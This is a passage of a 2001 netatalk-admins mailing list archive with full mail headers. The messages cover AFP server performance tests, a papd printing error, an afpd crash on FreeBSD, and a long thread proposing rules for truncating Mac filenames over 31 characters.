http://www.bluemountain.com/giftcenter/




From netatalk.administrators-errors@umich.edu  Fri Jun 15 07:16:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA13855
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 07:16:14 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA05156
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 07:16:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA05145
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 07:16:04 -0400 (EDT)
Received: from easi.de (gw-ea6.easi.de [195.30.34.62] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA05114
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 07:16:03 -0400 (EDT)
Received: from 195.30.0.14 (account default%easi.de)
  by easi.de (CommuniGate Pro RPOP 3.4.2)
  with RPOP id 39323; Fri, 15 Jun 2001 13:24:04 +0200
Received: (qmail 96758 invoked from network); 15 Jun 2001 11:13:15 -0000
Received: from mail.space.net (195.30.0.8)
  by popmail.space.net with SMTP; 15 Jun 2001 11:13:15 -0000
Received: (qmail 79461 invoked from network); 15 Jun 2001 11:13:14 -0000
Received: from terminator.rsug.itd.umich.edu (141.213.231.10)
  by mail.space.net with SMTP; 15 Jun 2001 11:13:14 -0000
Received: (from slist@localhost)
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) id HAA13568; Fri, 15 Jun 2001 07:13:00 -0400 (EDT)
Resent-Date: Fri, 15 Jun 2001 07:13:00 -0400 (EDT)
From: "Lawrence Farr" <lawrence@epcdirect.co.uk>
To: "Joe Rhodes" <JoeRhodes1974@excite.com>, <netatalk-admins@umich.edu>
Subject: RE: Performance Testing
Date: Fri, 15 Jun 2001 12:13:11 +0100
Message-ID: <LHEIICGBLGCCHCONDGNLAEDKCOAA.lawrence@epcdirect.co.uk>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <1740211.992538000887.JavaMail.imail@blizzard.excite.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000
Importance: Normal
X-Virus-Scanned: by AMaViS perl-10
Resent-Message-ID: <xU_RVC.A.8TD.82eK7@terminator.rsug.itd.umich.edu>
Resent-From: netatalk-admins@umich.edu
X-Mailing-List: <netatalk-admins@umich.edu> archive/latest/4677
X-Loop: netatalk-admins@umich.edu
Precedence: list
Resent-Sender: netatalk-admins-request@umich.edu

Here's a couple more tests for anyone interested:

http://asteroids.sixforty.co.uk/~l.farr/lantests/index_files/sheet001.htm

There's Helios, FreeBSD, Linux, Windows 2000 SFM and NT4 SFM on there.

Lawrence Farr
EPC Direct Limited mailto:lawrence@epcdirect.co.uk
T:01179666123 F:01179666111 M:07970780901

-----Original Message-----
From: Joe Rhodes [mailto:JoeRhodes1974@excite.com]
Sent: 14 June 2001 18:00
To: netatalk-admins@umich.edu
Subject: Performance Testing


Hey Gang!
     It's been a while since I've had time to keep up with the list.
Hopefully I'm not being redundant here.

     I've recently run across some performance testing I had been doing for
AFP servers.  Linux + Netatalk, W2K + ExteremeZ IP or Hybinette, Novell,
ASIP, etc.

     While it is certainly less than scientific, I thought some of you might
find it interesting.  The results are up at:
http://www.joerhodes.com/AFPperformance.html


Enjoy!
-Joe
Joe Rhodes Conuslting LLC.





_______________________________________________________
Send a cool gift with your E-Card
http://www.bluemountain.com/giftcenter/





From netatalk.administrators-errors@umich.edu  Fri Jun 15 10:14:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA19385
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 10:14:15 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA26815
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 10:14:15 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA26808
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 10:14:14 -0400 (EDT)
Received: from suzanne.infra.idealx.com (sete.idealx.com [213.41.87.82])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA26783
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 10:14:12 -0400 (EDT)
Received: (qmail 17738 invoked by uid 500); 15 Jun 2001 14:14:37 -0000
Content-Type: text/plain;
  charset="iso-8859-1"
From: =?iso-8859-1?q?J=E9r=F4me=20Tournier?= <jtournier@idealx.com>
To: netatalk-admins@umich.edu (Netatalk List)
Subject: netatalk and linux laser printer
Date: Fri, 15 Jun 2001 16:14:37 +0200
X-Mailer: KMail [version 1.2]
MIME-Version: 1.0
Message-Id: <01061516143700.16853@suzanne>
Content-Transfer-Encoding: 8bit

Hello,
I would like to install netatalk for my machintosh.
My Linux system has a laser printer (that is not an apple LaserWriter) 
configured by the /etc/printcap file:
--> lp|szdormeur|Kyocera FS-1750:\
-->        :lp=:\
-->        :sd=/var/spool/lpd/szdormeur:rm=szdormeur:rp=AUTO:\
-->        :sh:pw#80:pl#72:px#1440:mx#0:\
-->        :af=/var/log/lp-acct:lf=/var/log/lp-errs:

Now i configured the papd.conf so that the lpd daemon print files:
--> lp:pr=lp

When i want to print, whith the following command:
-->  pap -p lp /etc/printcap
i have this error on my command line:
--> Connected to lp:LaserWriter@*.
--> %%[ Error: Spooler error. ]%%
--> %%[ Error: Ignoring job. ]%%

and in the log message:
--> Jun 15 16:11:51 base papd[12221]: child 12258 for "lp" from 65280.136
--> Jun 15 16:11:51 base papd[12258]: lp_init: lock: No such file or directory
--> Jun 15 16:11:51 base papd[12258]: lp_open failed
--> Jun 15 16:11:51 base papd[12221]: child 12258 done

Can any one help me ?
Thanks
--
Jérōme

From netatalk.administrators-errors@umich.edu  Fri Jun 15 12:26:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA23987
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 12:26:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA07697
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 12:26:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA07678
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 12:26:50 -0400 (EDT)
Received: from pearl.mhtc.net (pearl.mhtc.net [156.46.128.10])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA07576
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 12:26:48 -0400 (EDT)
Received: from crank.bike (prai-cas2-cs-84.dial.mhtc.net [156.46.131.201])
	by pearl.mhtc.net (8.11.0/8.11.0) with SMTP id f5FGQav12532
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 11:26:36 -0500 (CDT)
From: David Nelson <dnelson@mhtc.net>
Date: Fri, 15 Jun 2001 11:20:56 +0000
X-Mailer: KMail [version 1.1.99]
Content-Type: text/plain;
  charset="iso-8859-1"
To: netatalk-admins@umich.edu
References: <1ev07s6.q3y3hy1etpsaoM@cx448422-b.wwck1.ri.home.com> <01061500523200.17966@athlet>
In-Reply-To: <01061500523200.17966@athlet>
Subject: Re: Files not visible with over 31 characters
MIME-Version: 1.0
Message-Id: <01061510585000.01233@crank.bike>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA23987

On Thursday 14 June 2001 10:50 pm, Carsten Neumann wrote:
> What name truncation do you expect?
> Please tell detailed rules!

Okay. This is how I would like to see file name truncation handled:

If the name is over 31 chars and there is no extension just lop chars off the 
end of the name to get it down to 31.

If the file name has an extension or layers of extensions e.g. 
complete_collection_of_scanned_john_denver_album_covers.tar.gz, then start 
lopping just to the left of the first extension. The file name from my 
previous example would become:
complete_collection_of_scanned_john_denver_albu.tar.gz

Of course sometime removing characters from a file name will result in the 
file having the same name as another file in the same directory. For example 
consider what would happen if the following files were both 1 character 
over the Macintosh limit of 31.
my_really_important_files1.tgz
my-really_important_files2.tgz

Both files would end up with the name my-really_important_files.tgz, if that 
were allowed. The best way to handle this situation may not be immediately 
agreed upon by all. 

A number could be added to the end of the file name between the root and the 
extension. The example file names would become:
my_really_important_files.tgz
my-really_important_file1.tgz

The characters could be removed from the beginning or the middle of the file 
name. Which would result in something like this:
y_really_important_files1.tgz
y-really_important_files2.tgz

OR

my_really_impotant_files1.tgz
my-really_impotant_files2.tgz


The best solution might be a combination of these approaches. 

First try removing chars from between the root of the name and the file 
extension. 

If that results in a conflict try removing chars from the middle of the name.

If that results in a conflict try removing chars from the beginning of the 
name.

As a last resort add a number to the file name.


I look forward to hearing other peoples' thoughts on this.

Have a great day.
David Nelson


From netatalk.administrators-errors@umich.edu  Fri Jun 15 13:00:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA24962
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 13:00:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA04420
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 13:00:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA04409
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 13:00:06 -0400 (EDT)
Received: from tbombadil.techpraxis.net (w132.z064221116.sea-wa.dsl.cnc.net [64.221.116.132])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA04368
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 13:00:04 -0400 (EDT)
Received: by tbombadil.techpraxis.net (8.11.3/8.11.3) id f5FH7N992976
	for netatalk-admins@umich.edu; Fri, 15 Jun 2001 10:07:23 -0700 (PDT)
	(envelope-from toor)
Content-Type: text/plain;
  charset="iso-8859-1"
From: system administrator <root@tbombadil.techpraxis.net>
To: netatalk-admins@umich.edu
Subject: afpd always quits on FreeBSD 4.3/Netatalk1.5p6...why
Date: Fri, 15 Jun 2001 10:07:22 -0700
X-Mailer: KMail [version 1.2]
MIME-Version: 1.0
Message-Id: <01061510072200.92919@tbombadil.techpraxis.net>
Content-Transfer-Encoding: 8bit

a weird prob:
I installed the latest netatalk from ports...it always quits whenever I try 
to connect to it from any other Mac. Can anyone please explain why? I have 
de-installed and re-compiled/installed netatalk 3 times...I never had this 
trouble w/ earlier version, nor on another FreeBSD 4.3 server that I 
maintain...If anyone needs more detail i will glad to provide it.

Forrest Hawes
Techpraxis.com

From netatalk.administrators-errors@umich.edu  Fri Jun 15 13:06:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA25202
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 13:06:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA21017
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 13:06:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA20997
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 13:06:52 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA20954
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 13:06:50 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id TAA31683;
	Fri, 15 Jun 2001 19:06:25 +0200
Message-ID: <3B2A4093.E4D2C5C2@euc.de>
Date: Fri, 15 Jun 2001 19:06:27 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: David Nelson <dnelson@mhtc.net>
CC: netatalk-admins@umich.edu
Subject: Re: Files not visible with over 31 characters
References: <1ev07s6.q3y3hy1etpsaoM@cx448422-b.wwck1.ri.home.com> <01061500523200.17966@athlet> <01061510585000.01233@crank.bike>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA25202

hmm,

what about this:

run an apache on the server, do a simple webpage with a
simple form containing a button ą la 'check for incoming
files' By pressing the button a perl script scans the
directory and moves the files to the work zone. This
script could also check for illegal characters or missing
.extensions by analysing the files as far as that makes
sense.



David Nelson wrote:
> 
> On Thursday 14 June 2001 10:50 pm, Carsten Neumann wrote:
> > What name truncation do you expect?
> > Please tell detailed rules!
> 
> Okay. This is how I would like to see file name truncation handled:
> 
> If the name is over 31 chars and there is no extension just lop chars off the
> end of the name to get it down to 31.
> 
> If the file name has an extension or layers of extensions e.g.
> complete_collection_of_scanned_john_denver_album_covers.tar.gz, then start
> lopping just to the left of the first extension. The file name from my
> previous example would become:
> complete_collection_of_scanned_john_denver_albu.tar.gz
> 
> Of course sometime removing characters from a file name will result in the
> file having the same name as another file in the same directory. For example
> consider what would happen if the following files were both 1 character
> over the Macintosh limit of 31.
> my_really_important_files1.tgz
> my-really_important_files2.tgz
> 
> Both files would end up with the name my-really_important_files.tgz, if that
> were allowed. The best way to handle this situation may not be immediately
> agreed upon by all.
> 
> A number could be added to the end of the file name between the root and the
> extension. The example file names would become:
> my_really_important_files.tgz
> my-really_important_file1.tgz
> 
> The characters could be removed from the beginning or the middle of the file
> name. Which would result in something like this:
> y_really_important_files1.tgz
> y-really_important_files2.tgz
> 
> OR
> 
> my_really_impotant_files1.tgz
> my-really_impotant_files2.tgz
> 
> The best solution might be a combination of these approaches.
> 
> First try removing chars from between the root of the name and the file
> extension.
> 
> If that results in a conflict try removing chars from the middle of the name.
> 
> If that results in a conflict try removing chars from the beginning of the
> name.
> 
> As a last resort add a number to the file name.
> 
> I look forward to hearing other peoples' thoughts on this.
> 
> Have a great day.
> David Nelson

-- 
--schnippe-di-schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Fri Jun 15 13:10:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA25358
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 13:10:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA16136
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 13:10:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA16118
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 13:10:23 -0400 (EDT)
Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA16102
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 13:10:22 -0400 (EDT)
Received: from squirrel.bio.brandeis.edu (squirrel.bio.brandeis.edu [129.64.81.16])
	by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.1) with ESMTP id NAA14075;
	Fri, 15 Jun 2001 13:10:21 -0400
Date: Fri, 15 Jun 2001 13:10:21 -0400 (EDT)
From: Steven Karel <karelsf@brandeis.edu>
X-X-Sender:  <karelsf@squirrel.bio.brandeis.edu>
To: David Nelson <dnelson@mhtc.net>
cc: <netatalk-admins@umich.edu>
Subject: Re: Files not visible with over 31 characters
In-Reply-To: <01061510585000.01233@crank.bike>
Message-ID: <Pine.LNX.4.33.0106151301330.28405-100000@squirrel.bio.brandeis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 15 Jun 2001, David Nelson wrote:

> On Thursday 14 June 2001 10:50 pm, Carsten Neumann wrote:
> > What name truncation do you expect?
> > Please tell detailed rules!
>
> Okay. This is how I would like to see file name truncation handled:
>
> If the name is over 31 chars and there is no extension just lop chars off the
> end of the name to get it down to 31....

I agree not handling >31 character filenames is a nuisance. But users also
get muddled when file names change, so I wouldn't rate it as a high
priority.

David's rules seem ok if they can be codified into an algorithm for
naming.

By the way, there must be existing code for this. mkisofs (mkhybrid) will
correctly create HFS filesystems with unique names from a directory with
long filenames in which the first 31 characters match (I just tested it).
If someone thought this was a priority and wanted to work on it, I assume
there's code that could be ported over to use as a starting point.

steven


From netatalk.administrators-errors@umich.edu  Fri Jun 15 14:39:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA29316
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 14:39:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA01801
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 14:39:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA01796
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 14:39:09 -0400 (EDT)
Received: from mailgate.ci.tacoma.wa.us (mailgate.ci.tacoma.wa.us [131.191.254.40])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA01776
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 14:39:08 -0400 (EDT)
From: CSBURRIS@ci.tacoma.wa.us
Received: from m3.ci.tacoma.wa.us (m3.ci.tacoma.wa.us [131.191.130.35])
	by mailgate.ci.tacoma.wa.us (8.8.8/8.8.8) with ESMTP id LAA27392
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 11:39:07 -0700 (PDT)
Received: by m3.ci.tacoma.wa.us with Internet Mail Service (5.5.2653.19)
	id <M9PAALM9>; Fri, 15 Jun 2001 11:37:47 -0700
Message-ID: <49A5DC0AF7A9D3119C7D00A0C9E306450325075C@m4.ci.tacoma.wa.us>
To: netatalk-admins@umich.edu
Subject: RE: Files not visible with over 31 characters
Date: Fri, 15 Jun 2001 11:37:46 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain

My trick is build a symbolic link to the file with a "~" in it. I'm always
gonna write a Perl Script to automate the process, since I can't seem to
train the Win32 folks not to make these files.  It's also a royal pain,
since I archive to HSFS CD's and the same thing happens.

Celeste Suliin Burris
Systems Administrator
Tacoma Economic Development Department
email: csburris@ci.tacoma.wa.us



> ----------
> From: 	David Nelson
> Sent: 	Friday, June 15, 2001 4:20 AM
> To: 	netatalk-admins@umich.edu
> Subject: 	Re: Files not visible with over 31 characters
> 
> On Thursday 14 June 2001 10:50 pm, Carsten Neumann wrote:
> > What name truncation do you expect?
> > Please tell detailed rules!
> 
> Okay. This is how I would like to see file name truncation handled:
> 
> If the name is over 31 chars and there is no extension just lop chars off
> the 
> end of the name to get it down to 31.
> 
> If the file name has an extension or layers of extensions e.g. 
> complete_collection_of_scanned_john_denver_album_covers.tar.gz, then start
> 
> lopping just to the left of the first extension. The file name from my 
> previous example would become:
> complete_collection_of_scanned_john_denver_albu.tar.gz
> 
> Of course sometime removing characters from a file name will result in the
> 
> file having the same name as another file in the same directory. For
> example 
> consider what would happen if the following files were both 1 character 
> over the Macintosh limit of 31.
> my_really_important_files1.tgz
> my-really_important_files2.tgz
> 
> Both files would end up with the name my-really_important_files.tgz, if
> that 
> were allowed. The best way to handle this situation may not be immediately
> 
> agreed upon by all. 
> 
> A number could be added to the end of the file name between the root and
> the 
> extension. The example file names would become:
> my_really_important_files.tgz
> my-really_important_file1.tgz
> 
> The characters could be removed from the beginning or the middle of the
> file 
> name. Which would result in something like this:
> y_really_important_files1.tgz
> y-really_important_files2.tgz
> 
> OR
> 
> my_really_impotant_files1.tgz
> my-really_impotant_files2.tgz
> 
> 
> The best solution might be a combination of these approaches. 
> 
> First try removing chars from between the root of the name and the file 
> extension. 
> 
> If that results in a conflict try removing chars from the middle of the
> name.
> 
> If that results in a conflict try removing chars from the beginning of the
> 
> name.
> 
> As a last resort add a number to the file name.
> 
> 
> I look forward to hearing other peoples' thoughts on this.
> 
> Have a great day.
> David Nelson
> 
> 

From netatalk.administrators-errors@umich.edu  Fri Jun 15 14:42:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA29398
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 14:42:34 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA20392
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 14:42:24 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA20374
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 14:42:23 -0400 (EDT)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA20339
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 14:42:22 -0400 (EDT)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Fri, 15 Jun 2001 11:42:22 -0700
Message-Id: <sb29f49e.001@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Fri, 15 Jun 2001 11:42:03 -0700
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <dnelson@mhtc.net>, <netatalk-admins@umich.edu>
Subject: Re: Files not visible with over 31 characters
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA29398

Apple's solution usually has been to add a number on the end... (Try creating a few new folders and see what happens).  It would seem to make sense to duplicate Apple's behaviour, wouldn't it?

Bryn

>>> David Nelson <dnelson@mhtc.net> 06/15/01 09:27 AM >>>
On Thursday 14 June 2001 10:50 pm, Carsten Neumann wrote:
> What name truncation do you expect?
> Please tell detailed rules!

Okay. This is how I would like to see file name truncation handled:

If the name is over 31 chars and there is no extension just lop chars off the 
end of the name to get it down to 31.

If the file name has an extension or layers of extensions e.g. 
complete_collection_of_scanned_john_denver_album_covers.tar.gz, then start 
lopping just to the left of the first extension. The file name from my 
previous example would become:
complete_collection_of_scanned_john_denver_albu.tar.gz

Of course sometime removing characters from a file name will result in the 
file having the same name as another file in the same directory. For example 
consider what would happen if the following files were both 1 character 
over the Macintosh limit of 31.
my_really_important_files1.tgz
my-really_important_files2.tgz

Both files would end up with the name my-really_important_files.tgz, if that 
were allowed. The best way to handle this situation may not be immediately 
agreed upon by all. 

A number could be added to the end of the file name between the root and the 
extension. The example file names would become:
my_really_important_files.tgz
my-really_important_file1.tgz

The characters could be removed from the beginning or the middle of the file 
name. Which would result in something like this:
y_really_important_files1.tgz
y-really_important_fils2.tgz

OR

my_really_impotant_files1.tgz
my-really_impotant_files2.tgz


The best solution might be a combination of these approaches. 

First try removing chars from between the root of the name and the file 
extension. 

If that results in a conflict try removing chars from the middle of the name.

If that results in a conflict try removing chars from the beginning of the 
name.

As a last resort add a number to the file name.


I look forward to hearing other peoples' thoughts on this.

Have a great day.
David Nelson



From netatalk.administrators-errors@umich.edu  Fri Jun 15 15:38:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA01481
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 15 Jun 2001 15:38:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA23143
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 15 Jun 2001 15:38:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA23123
	for netatalk.administrators-members@umich.edu; Fri, 15 Jun 2001 15:38:02 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA23092
	for <netatalk-admins@umich.edu>; Fri, 15 Jun 2001 15:38:00 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id EB36139500; Fri, 15 Jun 2001 14:37:59 -0500 (CDT)
Date: Fri, 15 Jun 2001 14:37:59 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Cc: David Nelson <dnelson@mhtc.net>
Subject: Re: Files not visible with over 31 characters
Message-ID: <20010615143759.T14629@newwww.teleologic.net>
References: <1ev07s6.q3y3hy1etpsaoM@cx448422-b.wwck1.ri.home.com> <01061500523200.17966@athlet> <01061510585000.01233@crank.bike>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <01061510585000.01233@crank.bike>; from dnelson@mhtc.net on Fri, Jun 15, 2001 at 11:20:56AM +0000
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

Why not just steal a method from windows?  If the filename's greater than
31 chars, start the truncation at the far right if there is no extension
or if the rightmost extension has more than 4 chars.  If the filename has
an extension with 1, 2, 3, or 4 chars, it's probably for some program's
compatibility, and truncation should begin just left of that extension.
One more char should be removed from the section being truncated and
replaced with a 1.  If that filename exists, increment the number.  When
0 is reached (after 9), move one position to the left, and start the process
over again, recursively, until the filename is unique.  I really don't like
the idea of removing from the front or middle of a filename, 'cause the
middle takes a little more math to find than the end, and the front would
screw up alphabetical sorting.

After that, map that name to the original long name with some sort of
indexed map file (dbm or something would be ok).  That way, netatalk
can present the long name to the mac clients, and *nix/windows clients
still get the reasonably truncated name.

I imagine that something would have to be done to uniquely identify the
files in the case that they were renamed/moved by the *nix side or by a
samba user or whatever.  A client program to look in the DB and find
files that used to be mapped but no longer exist might work too - maybe
keeping the file's creation time and mime type with the original name
would help to fix broken mappings.  At worst, if the mapping breaks, the
filename after truncation will still be reasonably readable by all clients.

--Danny

David wrote regarding 'Re: Files not visible with over 31 characters' on Fri, Jun 15 at 11:38:
> On Thursday 14 June 2001 10:50 pm, Carsten Neumann wrote:
> > What name truncation do you expect?
> > Please tell detailed rules!
> 
> Okay. This is how I would like to see file name truncation handled:
> 
> If the name is over 31 chars and there is no extension just lop chars off the 
> end of the name to get it down to 31.
> 
> If the file name has an extension or layers of extensions e.g. 
> complete_collection_of_scanned_john_denver_album_covers.tar.gz, then start 
> lopping just to the left of the first extension. The file name from my 
> previous example would become:
> complete_collection_of_scanned_john_denver_albu.tar.gz
> 
> Of course sometime removing characters from a file name will result in the 
> file having the same name as another file in the same directory. For example 
> consider what would happen if the following files were both 1 character 
> over the Macintosh limit of 31.
> my_really_important_files1.tgz
> my-really_important_files2.tgz
> 
> Both files would end up with the name my-really_important_files.tgz, if that 
> were allowed. The best way to handle this situation may not be immediately 
> agreed upon by all. 
> 
> A number could be added to the end of the file name between the root and the 
